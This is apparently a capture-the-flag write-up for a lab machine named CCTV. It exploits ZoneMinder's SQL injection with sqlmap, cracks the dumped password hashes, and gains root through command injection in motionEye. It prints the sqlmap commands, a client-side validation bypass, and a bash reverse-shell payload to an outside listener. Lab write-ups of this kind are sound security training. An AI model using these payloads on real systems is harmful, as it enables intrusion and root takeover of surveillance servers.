Overview
CCTV is a medium Linux box built around two surveillance software stacks running in parallel. The attack chain starts with default credentials on a ZoneMinder installation, exploits a boolean-based SQL injection to dump and crack user password hashes, uses those credentials to SSH in, discovers an internal motionEye instance via port forwarding, recovers its credentials from a config file on disk, and finally achieves RCE through a command injection vulnerability in the motionEye Still Images filename field, landing a root shell.
Reconnaissance
As always, we confirm the host is up with a ping, then run a full port scan:
nmap -sS -sV -O -Pn -sC 10.129.3.131
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://cctv.htb/
Only two ports. OpenSSH 9.6p1 is recent and patched, Apache 2.4.58 has no known exploitable CVEs at this version, both are dead ends for direct exploitation. Let’s look at the web app.
The site redirects to http://cctv.htb, so we add it to our hosts file:
sudo nano /etc/hosts
# Add: 10.129.3.131 cctv.htb
Initial Access: ZoneMinder Default Credentials
Navigating to http://cctv.htb loads a ZoneMinder surveillance dashboard. The first thing to try is default credentials:
admin:admin
That works. The dashboard reveals the exact version: ZoneMinder v1.37.63.
SQL Injection: CVE-2024-51482
ZoneMinder v1.37.63 is vulnerable to a boolean-based SQL injection. The tid parameter in the event tag removal endpoint is not sanitised. We can verify it manually:
http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1
Returns OK. Now we automate with SQLmap.
Note: Replace the
ZMSESSIDcookie value with your own valid session cookie.
Enumerate databases:
sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=8h803pmd9mbrbiupi3evi6t3cn" \
-p tid --dbms=mysql --batch --dbs
We spot a database called zm. Let’s enumerate its users table:
sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=8h803pmd9mbrbiupi3evi6t3cn" \
-p tid --dbms=mysql --batch -D zm -T Users -C "Username" --dump
Three users: admin, mark, superadmin. We already have admin. Let’s dump the password hashes for the other two:
# mark's hash
sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=8h803pmd9mbrbiupi3evi6t3cn" \
-p tid --dbms=mysql --batch -D zm -T Users -C "Password" --where="Username='mark'" --dump
# superadmin's hash
sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=8h803pmd9mbrbiupi3evi6t3cn" \
-p tid --dbms=mysql --batch -D zm -T Users -C "Password" --where="Username='superadmin'" --dump
mark: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm.
Both are bcrypt hashes. One important note: the full stop at the end of mark’s hash is part of the hash itself, not punctuation. This caused a lot of headaches before realising, make sure the hash is copied exactly as-is into your hash file or john will reject it.
Hash Cracking
cat > mark_hash.txt << 'EOF'
$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
EOF
john --wordlist=/usr/share/wordlists/rockyou.txt mark_hash.txt
john mark_hash.txt --show
Mark’s password cracks quickly: opensesame
The superadmin hash doesn’t crack with rockyou. We don’t need it right now, so we move on.
SSH Access
ssh mark@10.129.3.131
# Password: opensesame
We land in /home/mark. No user flag here. Basic post-exploitation enumeration:
id && whoami
uname -a
cat /etc/passwd
sudo -l
netstat -tulpn
The kernel is 6.8.0-101, recent Ubuntu, no easy kernel exploits. cat /etc/passwd reveals a user called sa_mark with a home directory, that’s almost certainly where the user flag is. Password reuse check:
su sa_mark
# Password: opensesame: fails
No luck. Let’s look at netstat -tulpn output more carefully.
Internal Service Discovery
The netstat output shows a number of localhost-only services. The most interesting one is port 8765:
tcp 0 0 127.0.0.1:8765 0.0.0.0:* LISTEN
Probing it with curl returns a full HTML page for motionEye v0.43.1b4, a CCTV web management interface. It’s running entirely locally, so we can’t reach it directly from our attack machine. Port forwarding to the rescue.
SSH Port Forwarding
From our attack machine, tunnel our local port 8765 through the SSH connection to the target’s internal port 8765:
ssh -L 8765:127.0.0.1:8765 mark@10.129.3.131
# Password: opensesame
Now browse to http://127.0.0.1:8765 on our attack machine and we hit the motionEye login page. Trying the credentials we know:
admin:admin # fails
mark:opensesame # fails
No luck with either. We need to find the motionEye credentials another way.
motionEye Credential Recovery
motionEye stores its configuration files in /etc/motioneye. Back on the target:
cd /etc/motioneye
ls -l
cat motion.conf
The config file contains the motionEye admin credentials in plaintext:
User: admin
Password: 989c5a8ee87a0e9521ec81a79187d162109282f0
Log in to http://127.0.0.1:8765 with admin:989c5a8ee87a0e9521ec81a79187d162109282f0.
RCE via motionEye Command Injection
motionEye v0.43.1b4 is vulnerable to command injection in the Still Images filename field. The application passes the filename template directly to a shell command without sanitising it, so any shell metacharacters in the filename get executed.
There is a client-side validation function that blocks saving, we bypass it by overriding it in the browser console before applying settings.
Step 1, Open the browser console (F12) and override the validation:
configUiValid = function() { return true; };
Do not refresh the page after running this, it will reset the override and you’ll need to rerun it.
Step 2, Configure Still Images to trigger the payload:
In the camera settings panel, scroll to Still Images and set:
Capture Mode: Interval Snapshots
Interval: 10
Image File Name: $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
Click Apply. Wait a few seconds, then verify on the target:
ls -l /tmp
# -rw-r--r-- 1 root root 0 ... /tmp/test
File was created as root. The injection executes in the context of the motionEye/motion process, which runs as root.
Step 3, Get a root shell:
Start a listener on our attack machine:
nc -lvnp 4444
Update the Image File Name to the reverse shell payload and apply:
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/10.10.14.45/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
Within a few seconds the interval triggers, the payload executes, and we get a root shell on the listener.
whoami
# root
cat /root/root.txt
Root flag grabbed. While we’re here, grab the user flag too:
cat /home/sa_mark/user.txt
Attack Chain Summary
| Step | Detail |
|---|---|
| Recon | nmap → port 80, Apache, ZoneMinder v1.37.63 |
| Initial access | Default credentials admin:admin on ZoneMinder |
| SQLi | CVE-2024-51482 boolean injection via tid param → SQLmap → Users table |
| Hash cracking | bcrypt hash for mark → john + rockyou → opensesame |
| SSH | ssh mark@cctv.htb with cracked password |
| Internal discovery | netstat → port 8765 localhost → motionEye v0.43.1b4 |
| Port forwarding | ssh -L 8765:127.0.0.1:8765 → motionEye accessible locally |
| Cred recovery | /etc/motioneye/motion.conf → plaintext admin credentials |
| RCE | motionEye Still Images filename command injection → root shell |
| Flags | /home/sa_mark/user.txt + /root/root.txt |